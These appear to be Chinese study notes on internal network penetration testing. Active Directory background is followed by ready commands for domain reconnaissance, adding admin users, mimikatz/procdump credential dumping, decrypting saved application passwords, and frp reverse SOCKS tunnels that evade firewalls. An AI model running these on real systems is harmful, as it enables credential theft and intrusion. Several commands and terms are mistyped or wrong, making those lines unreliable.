内网渗透基础学习
1. 内网渗透测试基础知识
1.1 内网工作环境
内网环境分为工作组环境和域环境。
工作组环境:工作组环境是最常见的资源管理方式,就是将不同的计算机按照功能/部门划分为不同的组,组内机器可以在网上邻居内相互访问,该方法适用在网络中计算机不多,资产规模小,且安全管理不严的情况下。
域环境:域环境既可用于资产规模小的网络环境,也可以用于大型网络环境。在域环境中,所有的用户账户、计算机、用户组、打印机以及其他主体都在一个或多个域控制器的中央数据库中注册。当域用户想要访问域中资源时,必须通过域控制器进行身份验证,根据用户的权限决定该用户的访问权限。
在域环境中,域管理员是域中具有最高管理权限的用户,在实际的渗透中,获得域管理员权限往往可以控制整个域环境。一个域环境可以有多个域控,每个域控各自存储一份所在域环境的活动目录的可写副本,对活动目录的任何修改都可以从源域控同步到域、域树、域林的其他控制器上。
单域环境:约等于工作组,只是有个域管
父域和子域:为了满足管理需求划分的域,被划分的叫父域,划分出来的叫子域,各子域之间用英文句号.隔开,例如父域为hack.com,则子域为asia.hack.com。每个子域拥有自己的安全策略。父域和子域在管理上是两个完全独立的域,但在任何一个域加入域树之后,该域都会自动信任上一层的父域,同时父域也会自动信任子域。
域树:域树是多个域通过建立信任关系组成的域集合。域的命名空间具有连续性,且域名层次越深,级别越低。在域树中,域管理员只能管理本域,不能访问或管理其他域,如果需要互相访问,就需要建立信任关系。
域林:域林是由一个或多个没有形成连续名字空间的域树组成域树集合。域林和域树之间明显的区别就是域林的域或者域树之间没有连续的命名空间,而域树是由一组连续命名空间的域组成的,但域林中的所有域树仍共享同一个表结构、配置和全局目录。
1.2 活动目录
活动目录是指安全在域控上,为整个域环境提供集中式目录管理服务的组件。活动目录存储了有关域环境中各种对象的信息。如域、用户、用户组、计算机、组织单位、共享资源、安全策略等。目录数据存储在域控制器的Ntds.dit文件中。活动目录起到的作用如下:
1、计算机集中管理 2、用户集中管理 3、资源集中管理 4、环境集中配置 5、应用集中管理
1.2.1Ntds.dit文件
该文件的路径是域控制器的"%SystemRoot%\ntds\ntds.dit",文件内容包括但不限于域用户、用户密码的哈希值、用户组、组成员身份和组策略等信息。若在非域环境中(即工作组环境),这些信息存储在本地SAM文件中。
1.2.2 目录服务与LDAP
活动目录是一种目录服务数据库,区别于常见的关系型数据库。目录数据库实现的是目录服务,是一种可以帮助用户快速、准确的从目录中找到所需信息的服务。目录数据库将所有数据组织成一个有层次的树状结构,其中的每个节点是一个对象,有关这个对象的所有信息作为这个对象的属性被存储。用户可以根据对象名称查找这个对象的有关信息。
LDAP(轻量目录访问协议)是用来访问目录服务数据库的一个协议,活动目录就是利用LDAP名称路径来描述对应想和活动目录中的位置的。
1.2.3 活动目录分区
活动目录预定义了域分区、配置分区和架构分区三个分区。微软将活动目录数据库划分为多个分区,每个逻辑分区在域林中的域控制器之间分别复制、更改。这些分区被称为上下文命名。
1、域分区
域分区用于存储与该域相关的对象信息,这些信息是特定作用于该域的你,如该域中的计算机、用户、组、组织单位等信息。在域林中,每个域的域控制器各自拥有一份属于自己的域分区,只会被复制到本域的所有域控制器中。
2、配置分区
配置分区存储整个域林中的主要配置信息,包括有关站点,服务,分区和整个活动目录结构的信息。整个域林共享一份相同的配置分区,会被复制到域林中所有域的域控制器上。
3、架构分区
架构分区存储整个域林的架构信息,包括活动目录中的所有类,对象和属性的定义数据。整个域林共享一份相同的架构分区,会被复制到林中所有域的所有域控制器中。
活动目录的所有类(类是一组属性的集合)都存储在架构分区中,是架构分区的一个条目。条目具有哪些属性是其所属的类所决定的。在LDAP中,类存在继承关系,子类可以继承父类的所有属性,TOP类是所有类的父类,并且活动目录的每个条目都有objectClass属性,而该属性的值指向该示例对象所继承的所有类。
活动目录的查询语法见谷歌百度
1.3 域用户和机器用户
域用户(Admin):域环境中的所有用户,域用户账户位于域的全局组Domain User中,而计算机本地用户账户位于本地User组中。当计算机加入域时,全局组Domain Users会被添加到计算机本地的User组中。因此域用户可以在域中的任意一台计算机登陆。
net user /domain #查看域用户
机器用户(System):机器用户是一种特殊的域用户。机器账户的ObjectClass属性是computer类的示例,且computer类是user类的子类,LDAP中类存在继承关系,结合这类关系,就意味着域用户所有的属性机器用户都有。因此 当获取域中主机控制权但没发现域用户凭据时,可利用系统提权到System达到提权的目的。
net group "Domain Computers" /domain #查看机器用户
1.4 域用户组的分类和权限
域中为了方便对用户权限管理,会将具有相同权限的用户划为一类,这样只需要对某个组赋予权限,则该组组内用户就具有相同权限。按照用途可以分为通讯组和安全组。
通信组:通讯用的,发信息大家都能收到,这没啥。
安全组:根据安全组的作用范围(此处的范围是指组在域树和域林中应用的范围),安全组可以分为域本地组、通用组和全局组。
域本地组:域本地组作用于本域,主要用于访问同一个域中的资源。除了本组的用户,域本地组还可以包含域林内任何一个域和通用组、全局组的用户,但无法包含其他域中的域本地组。域本地组只能访问本域中的资源,无法访问其他域中的资源。当域林中多个域的用户想要访问同一个域的资源时,可以从其他域向这个域的域本地组申请权限,添加用户、通用组和全局组。
常见的系统内置域本地组及其权限如下:
-
Administrators:管理员组,该组成员可以不受限制的访问域中资源
-
Print Operators:打印机操作员组,该组的成员可以管理网络中的打印机,还可以在本地登陆和关闭域控
-
Backup Operators:备份操作员组,该组成员可以在域控中执行备份和还原操作,还可以在本地登陆和关闭域控制器
-
Remote Desktop Users:远程登录组,只有该组的成员才有远程登录服务的权限。
-
Account Operators:账号操作员组,该组的成员可以创建和管理该域中的用户和组,还为其设置权限,也可以在本地登陆域控
-
Server Operators:服务器操作员组,该组的成员可以管理域服务器。
注:域本地组在活动目录中都是Group类的实例,而域组的作用类型是由其groupType类型决定的。该点可参考活动目录按位查询的语法和规则。
通用组:通用组可以作用于域林中的所有域,其成员可以域林中任何域的任何用户以及全局组和其他组,订单无法包含任何一个域中的域本地组。通用域可以嵌套在同一域林中的其他通用组或域本地组中。通用域可以在域林中的任何域中被指派访问权限,以便访问所有域中的资源。
常见的系统内置通用组及其权限:
- EnterPrise Admins:组织系统管理员组,该组是域林的根域中的一个组。该组中的成员在域林中的每个域都是Administrators组的成员,对所有域控都有完全控制权限。
- Schema Admins:架构管理员组,该组是域森林的根域中一个组。该组成员可以自由修改活动目录。
全局组:
全局组可以作用于域林的所有域,是介于域本地组和通用组的组。全局组只包含本域中的用户。可以嵌套在另一个域的另一个全局组中,也可以嵌套在其他域的通用组或者域本地组中。全局组可以在域林的任何域中指派访问权限,即管理员进行域组管理时,可以为全局组授予所有域的资源访问权限,而不需要考虑此全局组所在的位置。
全局组的成员只能包含本域中的用户账户,因此来自一个域的账户不能嵌套在另一个域的全局组中。
常见的系统内置全局组及其权限如下:
- Domain Admins:域管理员组,同时,该组默认被添加到域中每台计算机的本地Administrators组中。如果希望某用户成为域管理员,就可以加入到Domain Admins组内,该组会被添加到本域中的Administrators组中。
- Domain Users:域用户组,该组的成员是所有的域用户。默认情况下,域中任何新建的用户都是该组的成员。
- Domain Computers:域成员主机组,该组的成员是域中所有的域成员主机,域中任何新建立的计算机账号都是都是该组的成员。
- Domain Guests:域访客用户组,该组的成员默认为域访客用户。
- Group Policy Creator Owners:新建组策略对象组,该组的 成员可以修改域的组策略。
1.5 组织单位
当需要对用户赋予某特殊权限时,可以设置一个域用户组,对这个组配置资源访问权限,在将该用户拉近这个组。这样类似集合的概念就是域中的组织单位。
组织单位是一个可以将域中的用户、组和计算机等对象放入其中的容器对象。是可以指派组策略或委派管理权限的最小作用域或单元。组织单位可以统一管理组织单位中的域对象。
组织单位包括但不限于如下类型的对象:用户、计算机、工作组、打印机、安全策略、以及其他组织单位等。
1.6 访问控制
访问控制是指Windows操作系统使用内置授权和访问控制技术,确定经过身份验证的用户是否具有访问资源的正确权限,以控制(Principal)主体(增删改查)操作(Object)对象的行为是否具有合法权限。
在Windows系统中访问主体通常是指安全主体。安全主体是任何可通过操作系统进行身份验证的实体,如用户账户、计算机账户、在用户/计算机账户的安全上下文中运行的线程/进程,以及这些用户的安全组等。
被访问对象通常是指安全对象,可能是文件、文件夹、打印机、注册表、共享服务、活动目录域服务对象等。
当经过身份验证的安全主体想访问安全对象时,Windows会为安全主体创建一个访问令牌,其中包含验证过程返回的SID和本地安全策略分配给用户的用户权限列表。当安全对象被创建时Windows会为其创建一个安全描述符,WIindows的访问控制就是将安全主体的访问令牌信息和安全描述符中的信息比较做出决策的。
1.6.1 Windows访问控制列表
访问控制列表(ACL)是访问控制项(Access Control Entry,ACE)的列表。访问控制列表中的每个访问控制项指定了一系列访问权限。通过两个访问控制列表DACL和SACL进行,主要含有访问权限控制和日志记录等功能。
DACL(自主访问控制列表):是安全对象的访问控制策略,定义了安全对象的访问控制策略,用于指定允许或拒绝特定安全主体对安全对象的访问。DACL是由一条条的访问控制项(ACE)条目构成的,每条ACE定义了哪些用户或组对该对象拥有怎样的访问权限。 DACL中的每个ACE可以看作配置的一条访问策略,每个ACE指定了一组访问权限并包含一个SID。该SID标识了允许或拒绝访问该对象的安全主体。
每条ACL包含如下四个方面:1、谁的对这个安全对象拥有权限 2、拥有什么权限 3、这个权限是允许还是拒绝 4、这个权限能不能被继承
SACL(System Access Control List):系统访问控制列表是安全主体对安全对象的访问行为的审计策略,也有一条条ACE条目构成,每条ACE定义了对哪些安全主体的哪些访问行为进行日志记录。
查看与修改访问控制列表参见谷歌百度,工具有Icacls等。
1.7 组策略
组策略是Windows环境下管理账户的一种手段,可以控制用户账户和计算机账户的工作环境。组策略提供了操作系统、应用程序和活动目录中用户设置的集中化管理和配置,包含但不限于以下功能:
1、账户策略的配置,如用户账户的密码长度、复杂程度、使用期限、锁定策略等
2、脚本的配置:如登陆、注销、启动域关机的设置
3、应用程序的安装与删除
4、文件夹重定向
5、限制访问可移动存储设备
6、用户工作环境的配置
7、其他系统设置等
组策略的另一个版本名为本地组策略(Local Group Policy),这是组策略的基础版本,适用于管理独立且非域环境的计算机。而域环境中的组策略适用于管理域环境的所有对象,包括用户和计算机,可以对域环境的所有用户和计算机等对象进行多维管理(上述功能)。通过链接到指定站点,域和组织单位,配置的组策略在不同层级上应用不同的策略配置。
1.7.1 组策略对象
组策略对象(Group Policy Object,GPO)即组策略设置的集合,其中包含应用于特定用户或计算机的策略信息和具体配置。在设置组策略时,只需将组策略的对象链接到指定的站点、域和组织单位,其中的策略值便会应用到该站点、域和组织单位的所有用户和计算机。
组策略对象由组策略容器和组策略模板构成,两者位置不同。其中组策略容器存储在活动目录的域分区,组策略模板在域控中的该目录下:%SYSTEMROOT%\SYSVOL\sysvol\域名\Polices
可以用组策略管理来查看和编辑每个组策略容器的位置,有两个默认的组策略对象,Default Domain Policy和Default Domain Controllers Policy
默认域策略应用到其所在域的所有用户和计算机
默认域管策略应用到域管中的所有用户和计算机
2. 内网信息收集
2.1 本机基础信息收集
whoami /all #查看当前用户/权限
ifconfig /all #查看网络配置信息 注:在域环境中DNS的地址通常为域控地址
route print #查看主机路由信息 在路由表中的网络目标都是主机可以直接访问到的IP
systeminfo
systeminfo | finddstr /B /C:"OS Name" /c:"OS Version" #查看操作系统及其版本
netstat -ano #查看端口连接信息
net session #查看当前会话列表
net share #查看当前网络共享情况
net use #查看已建立的网络共享
tasklist /SVC #查看当前主机的所有进程信息
wmic process get Name,ProcessId,ExecutablePath #查看当前主机的所有进程信息、路径名称和PID
wmic process where Name="指定进程 如msdtc.exe" get ExecutablePath #查找指定进程路径
wmic service get Caption,Name,PathName,StartName,State #查看当前服务的所有信息
wmic service where Name="" get Caption,PathName,State #查看指定服务的信息
schtasks /query /v /fo list #查看当前主机所有的计划任务
wmic startup get Caption,Command,Location,User #查看所有自启程序信息
wmic qfe get Caption,CSName,Description,HotFixID,InstalledOn # 查看安装的补丁列表,链接及其编号和日期,通过缺少的版本来辅助提权
wmic product get Caption,Version #查看目标主机安装的应用软件信息
net user
net user 'username' #查看指定用户详细信息
net localgroup administrators #查看本地管理员组
net user 'username' 'password' /add #添加本地用户
net localgroup administrators 'username' /add #升级为管理员用户,将其加入管理员组
query user #查看当前登陆的用户
2.2 域内基础信息收集
net config workstation #判断是否存在域环境
net user /domain #查看域用户信息
net user 'username' /domain #查看域用户详细信息
wmic useraccount get Caption,Domain,Description #获取所有用户的SID,所属域和用户描述信息
注:只有域用户才有权限执行域内查询操作,计算机本地的用户除非是管理员,否则只能查询本机。因为所有有关域的查询信息都需要通过域控来实现,并且需要通过K8s协议认证。
net group /domain #列出域内所有用户
net group "Domain Admins" /domain #查看域管理员组
net group "Domain Computers" /domain #查看域成员主机组
常见的有 Domain Admins/Computers/Controllers/Guestes/Users和Enterprise Admins 见1.4域用户分类
net group "Domain Users" /domain #查询域用户组
net group "Enterprise Admins" /domain #查询企业管理员组
net accounts /domain #查看域内密码策略
net group "Domain Controllers" /domain #查询域控列表
nltest /DCLIST:example.com #也可以用nltest命令查看域控 example是域名
net time /domain #在域环境中 主域控会被同时用作时间服务器 可以通过查询时间的方式查询主域控(还有前文提到的DNS服务器,找到了主机名之后直接ping就出现IP了)
nltest /domain_trusts #查看域信任关系 域信任关系用于多域环境中的跨域资源共享
2.3 内网资源探测
内网渗透中,通常要做的就是 发现内网存活的主机,主机的操作系统、开放了哪些端口、端口上运行了什么服务、服务的版本是否存在已知漏洞等内容
发现存活主机
1、ICMP协议循环探测整个局域网C段存货的主机,IP需自行修改
for /L %I in (1,1,254 DO @ping -w 1 n 1 10.10.10.%I findstr "TTL=")
2、NetBIOS协议
NetBIOS协议是TCP/IP的应用层服务,Windows中默认安装TCP/IP后自动安装NetBIOS,下载nbtscan.exe就好
netscan.exe 10.10.10.1/24
3、UDP协议
UDP协议如果发送到存活主机会无响应,但发送失败会告诉你无法到达,可以用Unicornscan这个工具
unicornscan -mU 10.10.10.0/24
4、ARP协议
ARP是用于网络层通信的协议,若目标主机处于活跃状态,则一定会回应ARP请求,可以用arp-scan.exe
arp-scan.exe -t 10.10.10.0/24
或者导入网上的powershell脚本
Import-Module .\Invoke-ARPScan.ps1
Invoke-ARPScan -CIDR 10.10.10.0/24
5、SMB协议
SMB协议是网络文件共享系统协议,作用在应用层,共享文件、打印机端口等、通常是139或者445端口,用CME扫
crackmapexec smb 10.10.10.0/24
2.3.1 内网端口扫描
nmap -sS -P IP 扫描开放主机的全部端口 然后再nmap -sC -sV --scriptbanner -p 指定端口 IP 扫指定端口的服务 #nmap也可以扫漏洞号,但出的结果太多了 不确定好不好用
Powershell端口扫描用NiShang的Scan模块 详见NiShang的Github相关网页
Invoke-PortScan -StartAddress 10.10.10.1 -EndAddress 10.10.10.20(范围) --ResolveHost -ScanPort
MSF内置的扫描模块 详见MSF
2.4 用户凭据收集
因为横向攻击的很多方法都需要获取到域内用户的密码或其哈希值才能进行,所以信息收集时需要尽可能收集域内用户的登录凭据等信息。
2.4.1 获取域内主机密码和哈希值
在Windows中,SAM文件是Windows用户的账户数据库,位于%SystemRoot%\System32\Config目录中,所有本地用户的用户名、密码哈希值等信息都在这个文件。(1.2.1有提到)
通常情况下用户输入密码登陆、登陆的域名、用户名和登陆凭据等信息会存储在lsass.exe的进程空间中,用户的明文密码经过WDigest和Tspkg模块调用后,会对其使用可逆的算法进行加密并存储在内存中。
获取域内主机密码和哈希主要通过Mimikatz
1、在线读取lsass进程内存
将minikatz传到目标主机,然后命令如下,可以直接从lsass.exe中提取当前已登陆用户凭据
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
#privilege::debug 用于提升至DebugPrivilege权限; sekurlsa::logonpasswords,导出用户凭据
2、离线读取lsass内存文件
将内存文件导出到本地,例如Procdump,还有很多其他的百度就是,这里以procdump为例
procdump.exe -accepteula -ma lsass.exe lsass.dmp #转储lsass进程
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" exit
#sekurlsa::minidump lsass.dmp,加载内存文件
3、在线读取本地SAM文件
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
#token::elevate 提升至system权限 lsadump::sam 读取本地SAM文件
4、离线读取本地SAM文件
Windows为了提高SAM文件的安全性会对SAM文件进行加密,密钥与SAm文件位于相同目录。
导出SAM和SYSTEM两个文件,需要借助脚本工具,因为在运行时是被锁定的,可以借助PowerSploit来实现
PowerSploit中的Invoke-NinjaCopy.ps1,也可以通过HiveNightMare提权漏洞直接读取
注:WinServer2012及以上默认关闭WDigest功能以防止用户明文密码在内存中泄露,可通过修改注册表重启之后开启
2.4.2 获取常见应用软件凭据 想看看更常见的
一些特定的应用程序可以存储密码以便于用户管理和维护,如XShell、FileZIlla、NaviCat、浏览器等等,可以用他们保存的的密码做密码喷洒
1、获取RDP保存的凭据
RDP自动连接保存的密码路径位于%USERPROFILE%\AppData\Local\Microsoft\Credentials
cmdkey /list #查看当前保存到凭据
dir /a %USERPROFILE%\AppData\Local\Microsoft\Credentials\* #遍历凭证目录下的所有凭据
然后用mimikatz解密,过程参见百度,例子如下
mimikatz.exe "privilege::debug" "dpapi::cred /in %USERPROFILE%\AppData\Local\Microsoft\Credentials\ 凭证ID" exit
2、获取Xshell保存的凭据
位于Xshell目录的Sessions文件夹下,可直接通过SharpDecryptPwd解密,该工具可解密Navicat\TeamViewer、FileZilla、WinSCP、Xmanagager系列产品
Xshell7之后的密码用星号密码查看器查看密码
3、获取FileZilla保存的凭据
保存的密码位于%USERPROFILE%\AppData\Roaming\FileZilla\recentservers.xml文件中,base64直接解码就好,也可以通过SharpDecryptPwd解密
4、获取Navicat保存的凭据
Navicat版本小于等于十一,和Navicat版本大于等于十二用的加密算法不一致,保存凭据的路径在Navicat同级目录对应数据库的Servers文件夹下
可以先用Navicat导出所有连接,生成connections.ncx文件,再用SharpDecryptPwd解密
5、获取浏览器保存的登录凭据
用HackBrowserData 直接运行就好
6、获取WinSCP保留的登录凭据
WinSCP保存凭据的文件是WinSCP.ini,可以用Winscppwd工具对其解密。
2.5 BloodHound分析域环境
用BloodHound分析域环境要先采集域环境的信息,用BloodHound提供的SharpHound完成
后面的操作参考BloodHound文档
3. 端口转发与内网代理
3.1代理
在渗透测试中,获取目标外网权限后,需要通过转发端口或搭建代理等方式建立内网通道。
搭建代理分为正向连接代理和反向连接代理。例如MSF的bind_tcp和reverse_tcp
1、正向连接
正向连接就是受控端主机监听一个端口,有控制端主机主动连接受控端主机的过程。
适用于受控主机具有公网IP的情况。
2、反向连接
反向连接是控制端主机监听一个端口,由受控端主机反向连接控制端主机的过程。
适用于受控主机没有公网IP的情况。
通常正向连接受限于防火墙、权限等问题,但反向代理可以避开这些限制。
3.2 端口转发
端口转发是NAT技术的一种应用。转发的端口可以是本机的端口,也可以是其他主机上的端口。
在现实环境里,防火墙和IDS等设备会检测敏感端口上的连接情况,通过端口转发到防火墙等设备允许的端口,可以绕开防火墙的检测并与指定端口通信。
端口映射也是NAT技术的一种应用,可以把公网地址转换为私有地址,端口映射可以将外网主机收到的请求映射到内网主机上,使没有公网IP的内网主机能够对外提供相应的服务。
3.3 frp
完成端口转发与代理的工具很多,都支持SOCK5代理应用 例如lcx\frp\ 这里就记一个frp,有需要用到其他的再百度就是
frp搭建一级代理,先用服务器作为FRP服务端
./frps -c ./frps.ini
frps.ini 内容为
[common]
bind_addr=0.0.0.0 #服务端绑定的IP
bind_port=7000 #服务端绑定的端口
受控端作为FRP客户端
./frpc.exe ./frpc.ini
[common]
server_addr = 192.168.1.1 #指向frp服务端绑定的IP
server_port = 7000 #指向frp服务端绑定的端口
[socks5]
remote_port = 1080 #代理所使用的端口
plugin = socks5 #代理的类型
配置完了之后要让其他应用使用这个SOCKS5的代理,有Proxychain、Proxifier等,我觉得Proxychain用的比较顺手,只需要编辑ProxyChains的配置文件 /etc/proxychains.conf 将其中的SOCKS5的地址指向FRP服务端的地址,然后使用的时候在命令行前面加上proxychains即可
frp搭建二级代理,先用服务器作为FRP服务端
./frps -c ./frps.ini
frps.ini 内容为
[common]
bind_addr=0.0.0.0 #服务端绑定的IP
bind_port=7000 #服务端绑定的端口
受控端作为FRP客户端和服务端
./frpc.exe ./frpc.ini
[common]
server_addr = 192.168.1.1 #指向frp服务端绑定的IP
server_port = 7000 #指向frp服务端绑定的端口
[socks5_forward]
type = tcp #指定所使用协议的类型
local_ip = 10.10.10.13 #本地要监听的IP
local_port = 10808 #要转发的本地端口
remote_port = 1080 #要转发的远程端口
再启一个服务端
./frps -c ./frps.ini
[common]
bind_addr=0.0.0.0 #受控机器上的服务端绑定的IP
bind_port=7000 #受控机器上的服务端绑定的端口
然后在下一个目标主机上
./frpc.exe ./frpc.ini
[common]
server_addr = 10.10.10.13 #指向中间frp服务端绑定的IP
server_port = 7000 #指向中间frp服务端绑定的端口
[socks5]
type = tcp
remote_port = 10808 #代理使用的端口 中间那一层
plugin = socks5
多层代理同理